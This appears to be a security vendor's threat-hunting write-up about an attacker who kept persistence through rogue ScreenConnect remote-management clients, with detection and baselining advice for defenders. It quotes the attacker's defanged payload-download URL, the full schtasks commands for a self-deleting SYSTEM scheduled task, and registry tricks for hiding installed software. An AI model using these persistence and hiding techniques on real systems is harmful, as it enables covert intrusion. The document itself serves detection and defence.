A bad actor maintained persistence utilizing a trojanized ScreenConnect client on a machine without tripping a single standard endpoint alert, chaining together processes in an attempt to maintain long-term persistence. The operational discipline to hide within an approved remote monitoring and management (RMM) tool was the tradecraft.
On Nebulock’s hunt-first platform, our agents investigated a detection written by our detection engineering and threat hunting team that flagged a scheduled task created by Screen Connect with SYSTEM-level access. The agents then autonomously pulled that thread until it surfaced something malicious. It ran follow-up queries, correlated the finding against prior signals, and escalated a simple, medium-level finding to critical based on the surrounding evidence. With agents and contextual memory that baselined normal, we successfully uncovered a bad actor trying to hide themselves within a customer environment.
Why RMM abuse is a different kind of blind spot The same legitimate ScreenConnect agent, connected to the same relay, executing scripts from the same temp directory five days apart. Most endpoint detection leans on process-creation telemetry: what spawned what, what ran, what wrote to disk. ScreenConnect's built-in file browser, process viewer, and file transfer don't generate that kind of signal. A bad actor who stays inside the tool's native GUI can look at everything on a host and move data off it without a single suspicious child process.
To combat attacks that hide behind these processes, you need to baseline what normal RMM usage looks like in a given environment (one vendor, one install path, one service name, one client instance per host) before it’s visible at all.
Without that baseline, a second or third client spawning just looks like more of the same expected thing. Here, it wasn't: this endpoint was running three distinct ScreenConnect instances for malicious reasons.
The execution chain: from an existing agent to a shell The complete process lineage showing thirteen processes, executing from start to finish in under ten seconds. Despite trying to hide in plain site, this attacker left behind a trail.
parent: screenconnect.clientservice.exe
child : cmd.exe
grandchild : powershell.exe (obfuscated download cradle) What to observe:
RMM client service binaries spawning cmd.exe or powershell.exe PowerShell invoked with encoded or heavily obfuscated arguments rather than plain, readable commands execution originating from an RMM working directory, such as ScreenConnect's temp path under C:\WINDOWS\SystemTemp\ScreenConnect\ First-seen child process types for a given RMM service across the fleet, with no prior history. Why it stands out: An RMM client service exists to relay operator sessions and manage the agent, not to spawn interpreters on its own. When the service binary becomes a parent to cmd.exe, something outside normal RMM operation triggered it. Legitimate RMM usage stabilizes around a small set of expected parent-child pairs. This one broke the pattern.
A second, hidden ScreenConnect client cmd.exe → powershell.exe (download cradle)
→ msiexec.exe /i /qn
hxxps : //ms-zs-47[.]com:8443/Bin/SSA-49494949977.xlsx.ClientSetup.msi The download cradle pulled a secondary payload, ss.msi, from that external host. Two details are worth flagging: the deceptive double extension (.xlsx.ClientSetup.msi) and the URL pattern (/Bin/?e=Access&y=Guest), which matched infrastructure previously associated with stealer and access-broker campaigns. msiexec.exe installed the payload silently, standing up a second, attacker-controlled ScreenConnect client and bringing the total to three distinct instances on one endpoint.
What to observe:
msiexec /i /qn invocations following a PowerShell download rather than a provisioning toolinstaller filenames with deceptive or double extensions download URLs with generic or templated query parameters rather than a vendor's standard distribution path a second or third installation event for an RMM tool already present on the host, in a short window. Why it stands out: Legitimate RMM deployment happens once, through provisioning tooling, at onboarding. An MSI install chain rooted in a PowerShell cradle rather than your deployment system is execution disguised as software installation.
Covering their tracks The payload chain from disk write to cleanup, each step timestamped to the second After the install, the attacker set SystemComponent = 1 under the new client's Uninstall key, dropping it from Add or Remove Programs, and deleted the execution scripts behind them.
The value has legitimate uses. On an RMM client it has exactly one: staying off the first list anyone would check.
StageWhat happenedATT&CKFootholdscreenconnect.clientservice.exe spawns cmd.exeT1219Installmsiexec /i /qn silently installs a rogue ScreenConnect clientT1219HideRegistry SystemComponent=1 hides the install from Add/Remove ProgramsT1112 / T1564
In addition to hiding the install process, the bad actor attempted to circumvent Add/Remove program lists by executing the utility filename HideUL.exe for the multiple ScreenConnect installs.
Within ScreenConnect, they used the RunFile feature to execute phonelink.exe from the ScreenConnect temp directory, a binary masquerading as Windows Phone Link, which lives nowhere near that path. The hands-on-keyboard pattern is the suspicious behavior likely from a secondary payload or reconnaissance tool.
Reconnaissance happened through the GUI, where an EDR tool can’t see it. Execution happened through RunFile, in small, deliberate doses.
The one signal that actually fired The one signal that tripped: a T1053.005 scheduled-task-creation detection written by Nebulock. Nebulock's detection rule was the only one fired: a scheduled task named SC, created to run powershell -EP Bypass -File C:\Windows\Temp\sc.ps1 at onstart, running as SYSTEM.
1. create the task (runs as SYSTEM, triggers at every boot)
schtasks /create /tn SC /tr "powershell -EP Bypass -File C:\Windows\Temp\sc.ps1" /sc onstart /ru SYSTEM
2. task runs, then sleeps 5 seconds
3. delete the task, leaving nothing behind
schtasks /delete /tn SC /f
The severity score on its own was 50 (moderate), low enough that I wouldn't blame anyone for triaging it after the higher-severity queue first. What made it worth chasing wasn't the score. It was the lifecycle: the task was created, it ran, the process slept five seconds, and then the task deleted itself. Create, run, sleep, delete is a small anti-forensics pattern that buys SYSTEM-level execution while leaving almost nothing behind for a responder to find later.
What to observe:
scheduled tasks created and deleted within seconds of running onstart triggers configured to run as SYSTEMprocess chains spanning multiple interpreters and tools from a single parent in rapid succession Why it stands out: Task lifecycle, not task content, is the tell. A moderate severity score is easy to deprioritize behind louder alerts. The shape of the task, created and erased within seconds as SYSTEM, signaled that it was worth investigating.
Everything else in this chain (the GUI browsing, the file access, the exfiltration through ScreenConnect's own interface) never fired an alert. The story came from correlating around a thin signal, not from a second alert confirming the first.
The chain that confirms it No single behavior here is sufficient on its own. An RMM client is supposed to be present. A PowerShell script running under automation is common. One moderate-severity scheduled task is easy to triage after higher-priority alerts.
Each of these, alone, is explainable. Together, on one host, inside one short window, they aren't: an RMM client service spawning an interpreter, a redundant RMM installation delivered via MSI, a registry entry hiding that installation, and a self-deleting SYSTEM scheduled task all indicate an attacker is living off the land and hiding their tracks.
What this could have cost The broader picture, reconstructed from cross-device telemetry and a precursor Telegram connection twelve days earlier, painted an attacker with time and access.
Had the host, not been isolated, the position already built (SYSTEM access, a hidden second RMM client, GUI-level visibility into the endpoint) was enough to harvest credentials, move laterally, or stage something domain-wide. The infrastructure matched patterns that stealer and access-broker campaigns use.
None of that lateral movement or staging required exotic tooling to execute. With SYSTEM-level access to a working RMM client already in place, an attacker merely needed time. This one had thirty-nine hours of it before the host was isolated.
Baselining catches hidden behaviors Living-off-the-land RMM abuse doesn't leave the command-line paper trail most detection strategies are built to catch. If a hunting program is tuned to command-line discovery and process-creation volume, an attacker hiding inside a tool’s GUI will look like nothing at all.
Baselining normal is what actually caught this one. The scheduled task signal only became a finding because Nebulock had already committed to memory a known-good picture of the environment: one ScreenConnect vendor, one install path, one service name, one accepted set of parent-child pairs.
Without a baseline, three ScreenConnect clients on a host read as three instances of approved activity. With it, the second and third stand out the moment they appear, whether or not a rule ever fires.
What to baseline to detect RMM abuse Defending against RMM threats don't require an agent to see it. It requires documenting what your environment is supposed to look like, so the deviation is visible the moment it happens.
Baseline your RMM footprint before you need it . Start with one vendor, one install path, one service name, one client instance per host.Watch the parent process, not just the child. An RMM service binary spawning a shell outranks any single command line downstream of it.Score scheduled tasks by lifecycle, not just severity. Created, run, and deleted within seconds, especially as SYSTEM, deserves a second look regardless of the number attached to it.Treat registry entries that hide software as intent, not noise. SystemComponent = 1 has a legitimate use; on an entry that shouldn't be there, it doesn't.Correlate before you dismiss . Each of these behaviors has an innocent explanation alone. On the same host, in the same short window, they don't.A rule catches this specific chain. Knowing your own environment well enough to see the difference is what catches the next one.
References